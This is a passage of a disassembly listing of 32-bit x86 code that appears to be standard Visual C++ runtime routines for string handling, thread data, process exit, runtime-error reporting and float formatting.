; ---------------------------------------------------------------------------


loc_69B84C04:				; CODE XREF: sub_69B84BCE+27j
		push	4
		jmp	short loc_69B84C01
; ---------------------------------------------------------------------------


loc_69B84C08:				; CODE XREF: sub_69B84BCE+24j
		mov	eax, 200h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_69B84C0F:				; CODE XREF: sub_69B84BCE+12j
		and	eax, 8000h
		test	dx, dx
		mov	ecx, eax
		jnz	short loc_69B84C3A
		test	dword ptr [ebp+0Ch], 0FFFFFh
		jnz	short loc_69B84C2A
		cmp	dword ptr [ebp+arg_0], 0
		jz	short loc_69B84C3A


loc_69B84C2A:				; CODE XREF: sub_69B84BCE+54j
		mov	eax, ecx
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFF90h
		add	eax, 80h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_69B84C3A:				; CODE XREF: sub_69B84BCE+4Bj
					; sub_69B84BCE+5Aj
		fld	[ebp+arg_0]
		fcomp	ds:dbl_69B29700
		fnstsw	ax
		test	ah, 44h
		mov	eax, ecx
		jp	short loc_69B84C58
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFE0h
		add	eax, 40h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_69B84C58:				; CODE XREF: sub_69B84BCE+7Cj
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFF08h
		add	eax, 100h
		pop	ebp
		retn
sub_69B84BCE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84C68	proc near		; CODE XREF: sub_69B7A806+Dp
					; sub_69B7A851+51p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]


loc_69B84C6C:				; CODE XREF: sub_69B84C68+Cj
		mov	cx, [eax]
		inc	eax
		inc	eax
		test	cx, cx
		jnz	short loc_69B84C6C
		sub	eax, [esp+arg_0]
		sar	eax, 1
		dec	eax
		retn
sub_69B84C68	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84C7E	proc near		; CODE XREF: sub_69B7AA79+25p
					; sub_69B7AA79+71p

arg_0		= dword	ptr  4
arg_4		= word ptr  8

		mov	eax, [esp+arg_0]
		mov	dx, [esp+arg_4]
		jmp	short loc_69B84C90
; ---------------------------------------------------------------------------


loc_69B84C89:				; CODE XREF: sub_69B84C7E+18j
		cmp	cx, dx
		jz	short locret_69B84C9F
		inc	eax
		inc	eax


loc_69B84C90:				; CODE XREF: sub_69B84C7E+9j
		mov	cx, [eax]
		test	cx, cx
		jnz	short loc_69B84C89
		cmp	cx, dx
		jz	short locret_69B84C9F
		xor	eax, eax

locret_69B84C9F:			; CODE XREF: sub_69B84C7E+Ej
					; sub_69B84C7E+1Dj
		retn
sub_69B84C7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84CA0	proc near		; CODE XREF: sub_69B7E79D+87p
					; sub_69B7FF98+63p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, edi
		jz	short loc_69B84CD8
		mov	edx, [esp+8+arg_4]


loc_69B84CB4:				; CODE XREF: sub_69B84CA0+24j
		mov	ax, [edx]
		mov	[edi], ax
		inc	edi
		inc	edi
		inc	edx
		inc	edx
		test	ax, ax
		jz	short loc_69B84CC6
		dec	ecx
		jnz	short loc_69B84CB4


loc_69B84CC6:				; CODE XREF: sub_69B84CA0+21j
		test	ecx, ecx
		jz	short loc_69B84CD8
		dec	ecx
		jz	short loc_69B84CD8
		xor	eax, eax
		shr	ecx, 1
		rep stosd
		adc	ecx, ecx
		rep stosw


loc_69B84CD8:				; CODE XREF: sub_69B84CA0+Ej
					; sub_69B84CA0+28j ...
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_69B84CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84CDD	proc near		; CODE XREF: sub_69B7E79D+64p

arg_0		= dword	ptr  4
arg_4		= word ptr  8

		mov	eax, [esp+arg_0]
		mov	edx, eax


loc_69B84CE3:				; CODE XREF: sub_69B84CDD+Ej
		mov	cx, [eax]
		inc	eax
		inc	eax
		test	cx, cx
		jnz	short loc_69B84CE3
		mov	cx, [esp+arg_4]


loc_69B84CF2:				; CODE XREF: sub_69B84CDD+1Ej
		dec	eax
		dec	eax
		cmp	eax, edx
		jz	short loc_69B84CFD
		cmp	[eax], cx
		jnz	short loc_69B84CF2


loc_69B84CFD:				; CODE XREF: sub_69B84CDD+19j
		mov	dx, [eax]
		sub	dx, cx
		neg	dx
		sbb	edx, edx
		not	edx
		and	eax, edx
		retn
sub_69B84CDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn

; int __cdecl sub_69B84D0D(UINT	uExitCode)

sub_69B84D0D	proc near		; CODE XREF: sub_69B1BA12+92F2p

uExitCode	= dword	ptr  4

		push	offset aMscoree_dll ; "mscoree.dll"
		call	ds:GetModuleHandleA	; GetModuleHandleA
		test	eax, eax
		jz	short loc_69B84D32
		push	offset aCorexitprocess ; "CorExitProcess"
		push	eax		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		test	eax, eax
		jz	short loc_69B84D32
		push	[esp+uExitCode]
		call	eax


loc_69B84D32:				; CODE XREF: sub_69B84D0D+Dj
					; sub_69B84D0D+1Dj
		push	[esp+uExitCode]	; uExitCode
		call	ds:ExitProcess	; ExitProcess
sub_69B84D0D	endp

; ---------------------------------------------------------------------------
; char aCorexitprocess[]
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: sub_69B84D0D+Fo
		align 4
; char aMscoree_dll[]
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: sub_69B84D0Do

; =============== S U B	R O U T	I N E =======================================



sub_69B84D58	proc near		; CODE XREF: sub_69B84A5B+2Ap
					; DATA XREF: .data:off_69B9AA30o

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_69B1BA12
		add	esp, 0Ch
		retn
sub_69B84D58	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84D69	proc near		; CODE XREF: sub_69B1B625+95C2p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword ptr [eax+54h], offset dword_69B927B8
		mov	dword ptr [eax+14h], 1
		retn
sub_69B84D69	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84D7C	proc near		; CODE XREF: sub_69B84DE2+1p
					; sub_69B86B5Fp
		push	ebx
		push	esi
		call	ds:GetLastError
		push	dword_69B9267C
		mov	ebx, eax
		call	dword_69B95B30
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B84DD6
		xor	ecx, ecx
		mov	edx, 8Ch
		inc	ecx
		call	sub_69B1CE89
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B84DD6
		push	esi
		push	dword_69B9267C
		call	dword_69B95B34
		test	eax, eax
		jz	short loc_69B84DD6
		mov	dword ptr [esi+54h], offset dword_69B927B8
		mov	dword ptr [esi+14h], 1
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax


loc_69B84DD6:				; CODE XREF: sub_69B84D7C+1Aj
					; sub_69B84D7C+2Dj ...
		push	ebx		; dwErrCode
		call	ds:SetLastError
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_69B84D7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84DE2	proc near		; CODE XREF: sub_69B8599F+1p
					; sub_69B8651Fp ...
		push	esi
		call	sub_69B84D7C
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B84DF6
		push	10h
		call	sub_69B84A5B
		pop	ecx


loc_69B84DF6:				; CODE XREF: sub_69B84DE2+Aj
		mov	eax, esi
		pop	esi
		retn
sub_69B84DE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84DFA	proc near		; CODE XREF: sub_69B84F60+1Bp
					; DATA XREF: sub_69B1CD73:loc_69B1CDFEo
		push	10h
		push	offset dword_69B84F48
		call	sub_69B19C5C
		mov	esi, [ebp+8]
		xor	edi, edi
		cmp	esi, edi
		jz	loc_69B84F1F
		mov	eax, [esi+24h]
		cmp	eax, edi
		jz	short loc_69B84E21
		push	eax
		call	sub_69B1D1FD
		pop	ecx


loc_69B84E21:				; CODE XREF: sub_69B84DFA+1Ej
		mov	eax, [esi+2Ch]
		cmp	eax, edi
		jz	short loc_69B84E2F
		push	eax
		call	sub_69B1D1FD
		pop	ecx


loc_69B84E2F:				; CODE XREF: sub_69B84DFA+2Cj
		mov	eax, [esi+34h]
		cmp	eax, edi
		jz	short loc_69B84E3D
		push	eax
		call	sub_69B1D1FD
		pop	ecx


loc_69B84E3D:				; CODE XREF: sub_69B84DFA+3Aj
		mov	eax, [esi+3Ch]
		cmp	eax, edi
		jz	short loc_69B84E4B
		push	eax
		call	sub_69B1D1FD
		pop	ecx


loc_69B84E4B:				; CODE XREF: sub_69B84DFA+48j
		mov	eax, [esi+44h]
		cmp	eax, edi
		jz	short loc_69B84E59
		push	eax
		call	sub_69B1D1FD
		pop	ecx


loc_69B84E59:				; CODE XREF: sub_69B84DFA+56j
		mov	eax, [esi+48h]
		cmp	eax, edi
		jz	short loc_69B84E67
		push	eax
		call	sub_69B1D1FD
		pop	ecx


loc_69B84E67:				; CODE XREF: sub_69B84DFA+64j
		mov	eax, [esi+54h]
		cmp	eax, offset dword_69B927B8
		jz	short loc_69B84E78
		push	eax
		call	sub_69B1D1FD
		pop	ecx


loc_69B84E78:				; CODE XREF: sub_69B84DFA+75j
		push	0Dh
		call	sub_69B113FC
		pop	ecx
		mov	[ebp-4], edi
		mov	eax, [esi+60h]
		mov	[ebp-1Ch], eax
		cmp	eax, edi
		jz	short loc_69B84EA0
		dec	dword ptr [eax]
		jnz	short loc_69B84EA0
		cmp	eax, dword_69B95DBC
		jz	short loc_69B84EA0
		push	eax
		call	sub_69B1D1FD
		pop	ecx


loc_69B84EA0:				; CODE XREF: sub_69B84DFA+91j
					; sub_69B84DFA+95j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B84F2C
		push	0Ch
		call	sub_69B113FC
		pop	ecx
		mov	dword ptr [ebp-4], 1
		mov	eax, [esi+64h]
		mov	[ebp-20h], eax
		cmp	eax, edi
		jz	short loc_69B84F0F
		dec	dword ptr [eax]
		cmp	[eax+2Ch], edi
		jz	short loc_69B84ECE
		mov	ecx, [eax+2Ch]
		dec	dword ptr [ecx]


loc_69B84ECE:				; CODE XREF: sub_69B84DFA+CDj
		cmp	[eax+34h], edi
		jz	short loc_69B84ED8
		mov	ecx, [eax+34h]
		dec	dword ptr [ecx]


loc_69B84ED8:				; CODE XREF: sub_69B84DFA+D7j
		cmp	[eax+30h], edi
		jz	short loc_69B84EE2
		mov	ecx, [eax+30h]
		dec	dword ptr [ecx]


loc_69B84EE2:				; CODE XREF: sub_69B84DFA+E1j
		cmp	[eax+40h], edi
		jz	short loc_69B84EEC
		mov	ecx, [eax+40h]
		dec	dword ptr [ecx]


loc_69B84EEC:				; CODE XREF: sub_69B84DFA+EBj
		mov	ecx, [eax+4Ch]
		dec	dword ptr [ecx+0B4h]
		cmp	eax, off_69B9AB2C
		jz	short loc_69B84F0F
		cmp	eax, offset dword_69B9AAD8
		jz	short loc_69B84F0F
		cmp	[eax], edi
		jnz	short loc_69B84F0F
		push	eax
		call	sub_69B858CF
		pop	ecx


loc_69B84F0F:				; CODE XREF: sub_69B84DFA+C6j
					; sub_69B84DFA+101j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_69B84F38
		push	esi
		call	sub_69B1D1FD
		pop	ecx


loc_69B84F1F:				; CODE XREF: sub_69B84DFA+13j
		call	sub_69B1853C
		retn	4
sub_69B84DFA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B84F27	proc near		; DATA XREF: .text:69B84F50o
		xor	edi, edi
		mov	esi, [ebp+8]
sub_69B84F27	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B84F2C	proc near		; CODE XREF: sub_69B84DFA+AAp
		push	0Dh
		call	sub_69B1D1C5
		pop	ecx
		retn
sub_69B84F2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B84F35	proc near		; DATA XREF: .text:69B84F5Co
		mov	esi, [ebp+8]
sub_69B84F35	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B84F38	proc near		; CODE XREF: sub_69B84DFA+119p
		push	0Ch
		call	sub_69B1D1C5
		pop	ecx
		retn
sub_69B84F38	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B84F48	dd 0FFFFFFFFh, 0		dd offset sub_69B84F27
		dd 0FFFFFFFFh, 0
		dd offset sub_69B84F35

; =============== S U B	R O U T	I N E =======================================



sub_69B84F60	proc near		; CODE XREF: sub_69B1B625+95EFp

arg_0		= dword	ptr  4

		mov	ecx, dword_69B9267C
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_69B84F8E
		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_69B84F7A
		push	ecx
		call	dword_69B95B30


loc_69B84F7A:				; CODE XREF: sub_69B84F60+11j
		push	eax
		call	sub_69B84DFA
		push	0
		push	dword_69B9267C
		call	dword_69B95B34

locret_69B84F8E:			; CODE XREF: sub_69B84F60+9j
		retn
sub_69B84F60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B84F8F	proc near		; CODE XREF: sub_69B84A5B+20p
					; sub_69B851BF+1Cp ...

var_148		= byte ptr -148h
Filename	= byte ptr -10Ch
var_8		= byte ptr -8
NumberOfBytesWritten= dword ptr	-4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	eax, eax


loc_69B84FA0:				; CODE XREF: sub_69B84F8F+1Ej
		cmp	ecx, dword_69B9AA38[eax*8]
		jz	short loc_69B84FAF
		inc	eax
		cmp	eax, 12h
		jb	short loc_69B84FA0


loc_69B84FAF:				; CODE XREF: sub_69B84F8F+18j
		mov	esi, eax
		shl	esi, 3
		cmp	ecx, dword_69B9AA38[esi]
		mov	[ebp+arg_0], esi
		jnz	loc_69B8514E
		mov	eax, dword_69B9B6C0
		cmp	eax, 1
		jz	loc_69B8511F
		test	eax, eax
		jnz	short loc_69B84FE2
		cmp	dword_69B9B6C4,	1
		jz	loc_69B8511F


loc_69B84FE2:				; CODE XREF: sub_69B84F8F+44j
		cmp	ecx, 0FCh
		jz	loc_69B8514E
		push	104h		; nSize
		lea	eax, [ebp+Filename]
		push	eax		; lpFilename
		push	0		; hModule
		mov	[ebp+var_8], 0
		call	ds:GetModuleFileNameA	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_69B8501D
		push	5
		pop	ecx
		mov	esi, offset aProgramNameUnk ; "<program	name unknown>"
		lea	edi, [ebp+Filename]
		rep movsd
		movsw
		movsb


loc_69B8501D:				; CODE XREF: sub_69B84F8F+79j
		lea	ebx, [ebp+Filename]
		mov	eax, ebx
		lea	edx, [eax+1]


loc_69B85028:				; CODE XREF: sub_69B84F8F+9Ej
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_69B85028
		sub	eax, edx
		inc	eax
		cmp	eax, 3Ch
		jbe	short loc_69B85060
		lea	eax, [ebp+Filename]
		lea	edx, [eax+1]


loc_69B85040:				; CODE XREF: sub_69B84F8F+B6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_69B85040
		sub	eax, edx
		push	3
		lea	ebx, [ebp+eax-147h]
		push	offset dword_69B851A4
		push	ebx
		call	sub_69B2263E
		add	esp, 0Ch


loc_69B85060:				; CODE XREF: sub_69B84F8F+A6j
		mov	eax, ebx
		lea	edx, [eax+1]


loc_69B85065:				; CODE XREF: sub_69B84F8F+DBj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_69B85065
		sub	eax, edx
		mov	ecx, eax
		mov	eax, [ebp+arg_0]
		mov	eax, off_69B9AA3C[eax]
		lea	esi, [eax+1]


loc_69B8507C:				; CODE XREF: sub_69B84F8F+F2j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_69B8507C
		sub	eax, esi
		lea	eax, [eax+ecx+1Ch]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_69B1B09C
		mov	edx, esp
		push	6
		pop	ecx
		mov	esi, offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		mov	edi, edx
		rep movsd
		mov	eax, ebx
		movsw
		mov	esi, eax


loc_69B850A8:				; CODE XREF: sub_69B84F8F+11Ej
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_69B850A8
		mov	edi, edx
		sub	eax, esi
		dec	edi


loc_69B850B4:				; CODE XREF: sub_69B84F8F+12Bj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_69B850B4
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	edi, edx
		dec	edi


loc_69B850CD:				; CODE XREF: sub_69B84F8F+144j
		mov	al, [edi+1]
		inc	edi
		test	al, al
		jnz	short loc_69B850CD
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_69B85184
		movsw
		movsb
		mov	eax, off_69B9AA3C[eax]
		mov	esi, eax


loc_69B850E8:				; CODE XREF: sub_69B84F8F+15Ej
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_69B850E8
		mov	edi, edx
		sub	eax, esi
		dec	edi


loc_69B850F4:				; CODE XREF: sub_69B84F8F+16Bj
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_69B850F4
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		push	12010h
		mov	ecx, eax
		and	ecx, 3
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	edx
		rep movsb
		call	sub_69B863B4
		add	esp, 0Ch
		jmp	short loc_69B8514E
; ---------------------------------------------------------------------------


loc_69B8511F:				; CODE XREF: sub_69B84F8F+3Cj
					; sub_69B84F8F+4Dj
		push	0FFFFFFF4h	; nStdHandle
		call	ds:GetStdHandle	; GetStdHandle
		test	eax, eax
		jz	short loc_69B8514E
		mov	esi, off_69B9AA3C[esi]
		mov	ecx, esi
		lea	edx, [ecx+1]


loc_69B85136:				; CODE XREF: sub_69B84F8F+1ACj
		mov	bl, [ecx]
		inc	ecx
		test	bl, bl
		jnz	short loc_69B85136
		push	0		; lpOverlapped
		sub	ecx, edx
		lea	edx, [ebp+NumberOfBytesWritten]
		push	edx		; lpNumberOfBytesWritten
		push	ecx		; nNumberOfBytesToWrite
		push	esi		; lpBuffer
		push	eax		; hFile
		call	ds:WriteFile	; WriteFile


loc_69B8514E:				; CODE XREF: sub_69B84F8F+2Ej
					; sub_69B84F8F+59j ...
		lea	esp, [ebp-118h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B84F8F	endp

; ---------------------------------------------------------------------------
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_69B84F8F+17Eo
		align 4
dword_69B85184	dd 90000A0Ah	aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_69B84F8F+10Ao
		db 0Ah
		db 'Program: ',0
		align 4
dword_69B851A4	dd 2E2E2Eh	aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_69B84F8F+7Eo

; =============== S U B	R O U T	I N E =======================================



sub_69B851BF	proc near		; CODE XREF: sub_69B84A5B:loc_69B84A72p
		mov	eax, dword_69B9B6C0
		cmp	eax, 1
		jz	short loc_69B851D6
		test	eax, eax
		jnz	short locret_69B851F7
		cmp	dword_69B9B6C4,	1
		jnz	short locret_69B851F7


loc_69B851D6:				; CODE XREF: sub_69B851BF+8j
		push	0FCh
		call	sub_69B84F8F
		mov	eax, dword_69B9B6C8
		test	eax, eax
		pop	ecx
		jz	short loc_69B851EC
		call	eax ; dword_69B9B6C8


loc_69B851EC:				; CODE XREF: sub_69B851BF+29j
		push	0FFh
		call	sub_69B84F8F
		pop	ecx

locret_69B851F7:			; CODE XREF: sub_69B851BF+Cj
					; sub_69B851BF+15j
		retn
sub_69B851BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B851F8	proc near		; DATA XREF: sub_69B1144A+1Eo

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_69B86621
		cmp	eax, 65h
		jmp	short loc_69B85217
; ---------------------------------------------------------------------------


loc_69B8520B:				; CODE XREF: sub_69B851F8+20j
		inc	esi
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_69B8651F
		test	eax, eax


loc_69B85217:				; CODE XREF: sub_69B851F8+11j
		pop	ecx
		jnz	short loc_69B8520B
		mov	al, [esi]
		mov	cl, byte_69B9AC70
		mov	[esi], cl
		inc	esi


loc_69B85225:				; CODE XREF: sub_69B851F8+38j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_69B85225
		pop	esi
		retn
sub_69B851F8	endp

; ---------------------------------------------------------------------------


loc_69B85234:				; DATA XREF: sub_69B1144A+Ao
		mov	eax, [esp+4]
		push	ebx
		mov	bl, byte_69B9AC70
		jmp	short loc_69B85246
; ---------------------------------------------------------------------------


loc_69B85241:				; CODE XREF: .text:69B8524Aj
		cmp	cl, bl
		jz	short loc_69B8524C
		inc	eax


loc_69B85246:				; CODE XREF: .text:69B8523Fj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_69B85241


loc_69B8524C:				; CODE XREF: .text:69B85243j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short loc_69B8527D
		jmp	short loc_69B85260
; ---------------------------------------------------------------------------


loc_69B85255:				; CODE XREF: .text:69B85264j
		cmp	cl, 65h
		jz	short loc_69B85266
		cmp	cl, 45h
		jz	short loc_69B85266
		inc	eax


loc_69B85260:				; CODE XREF: .text:69B85253j
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_69B85255


loc_69B85266:				; CODE XREF: .text:69B85258j
					; .text:69B8525Dj
		mov	edx, eax


loc_69B85268:				; CODE XREF: .text:69B8526Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_69B85268
		cmp	[eax], bl
		jnz	short loc_69B85273
		dec	eax


loc_69B85273:				; CODE XREF: .text:69B85270j
					; .text:69B8527Bj
		mov	cl, [edx]
		inc	eax
		inc	edx
		test	cl, cl
		mov	[eax], cl
		jnz	short loc_69B85273


loc_69B8527D:				; CODE XREF: .text:69B85251j
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_69B8527F:				; DATA XREF: sub_69B1144A+28o
		mov	eax, [esp+4]
		fld	qword ptr [eax]
		fcomp	ds:dbl_69B29700
		fnstsw	ax
		test	ah, 1
		jnz	short loc_69B85296
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_69B85296:				; CODE XREF: .text:69B85290j
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B85299	proc near		; DATA XREF: sub_69B1144A+14o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_69B852C2
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_69B86967
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B852C2:				; CODE XREF: sub_69B85299+Cj
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_69B86994
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		leave
		retn
sub_69B85299	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B852D7	proc near		; CODE XREF: sub_69B852F4+23p
					; sub_69B85406+45p ...
		test	edi, edi
		push	esi
		mov	esi, eax
		jz	short loc_69B852F2
		push	esi
		call	sub_69B22762
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_69B22103
		add	esp, 10h


loc_69B852F2:				; CODE XREF: sub_69B852D7+5j
		pop	esi
		retn
sub_69B852D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B852F4	proc near		; CODE XREF: sub_69B853AA+4Ep
					; sub_69B854F4+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		push	esi
		mov	esi, eax
		jz	short loc_69B8531D
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		push	edi
		setnle	al
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		mov	edi, eax
		add	ecx, ebx
		mov	eax, ecx
		call	sub_69B852D7
		pop	edi


loc_69B8531D:				; CODE XREF: sub_69B852F4+Aj
		cmp	dword ptr [esi], 2Dh
		mov	eax, ebx
		jnz	short loc_69B8532A
		mov	byte ptr [ebx],	2Dh
		lea	eax, [ebx+1]


loc_69B8532A:				; CODE XREF: sub_69B852F4+2Ej
		cmp	[ebp+arg_0], 0
		jle	short loc_69B85341
		lea	ecx, [eax+1]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, ecx
		mov	cl, byte_69B9AC70
		mov	[eax], cl


loc_69B85341:				; CODE XREF: sub_69B852F4+3Aj
		xor	ecx, ecx
		cmp	[ebp+arg_8], cl
		push	offset dword_69B853A4
		setz	cl
		add	ecx, eax
		add	ecx, [ebp+arg_0]
		push	ecx
		call	sub_69B227E1
		cmp	[ebp+arg_4], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_69B85366
		mov	byte ptr [ecx],	45h


loc_69B85366:				; CODE XREF: sub_69B852F4+6Dj
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_69B8539D
		mov	eax, [esi+4]
		dec	eax
		jns	short loc_69B8537A
		neg	eax
		mov	byte ptr [ecx],	2Dh


loc_69B8537A:				; CODE XREF: sub_69B852F4+7Fj
		inc	ecx
		cmp	eax, 64h
		jl	short loc_69B8538A
		cdq
		push	64h
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, edx


loc_69B8538A:				; CODE XREF: sub_69B852F4+8Aj
		inc	ecx
		cmp	eax, 0Ah
		jl	short loc_69B8539A
		cdq
		push	0Ah
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, edx


loc_69B8539A:				; CODE XREF: sub_69B852F4+9Aj
		add	[ecx+1], al


loc_69B8539D:				; CODE XREF: sub_69B852F4+79j
		mov	eax, ebx
		pop	esi
		pop	ebp
		retn
sub_69B852F4	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B853A4	dd 30302B65h			db 30h,	0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B853AA	proc near		; CODE XREF: sub_69B8557E+47p

var_28		= byte ptr -28h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_69B86AFA
		mov	esi, [ebp+arg_8]
		mov	ebx, [ebp+arg_4]
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [esi+1]
		push	eax
		xor	eax, eax
		cmp	[ebp+var_10], 2Dh
		setz	al
		xor	ecx, ecx
		test	esi, esi
		setnle	cl
		add	eax, ebx
		add	ecx, eax
		push	ecx
		call	sub_69B869C1
		push	0
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10]
		push	esi
		call	sub_69B852F4
		add	esp, 28h
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_69B853AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B85406	proc near		; CODE XREF: sub_69B854A2+44p
					; sub_69B854F4+6Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, eax
		mov	eax, [esi+4]
		dec	eax
		cmp	[ebp+arg_8], 0
		push	edi
		jz	short loc_69B85433
		cmp	eax, [ebp+arg_4]
		jnz	short loc_69B85433
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, [ebp+arg_0]
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		mov	byte ptr [eax+1], 0


loc_69B85433:				; CODE XREF: sub_69B85406+10j
					; sub_69B85406+15j
		cmp	dword ptr [esi], 2Dh
		mov	ebx, [ebp+arg_0]
		jnz	short loc_69B8543F
		mov	byte ptr [ebx],	2Dh
		inc	ebx


loc_69B8543F:				; CODE XREF: sub_69B85406+33j
		mov	eax, [esi+4]
		xor	edi, edi
		inc	edi
		test	eax, eax
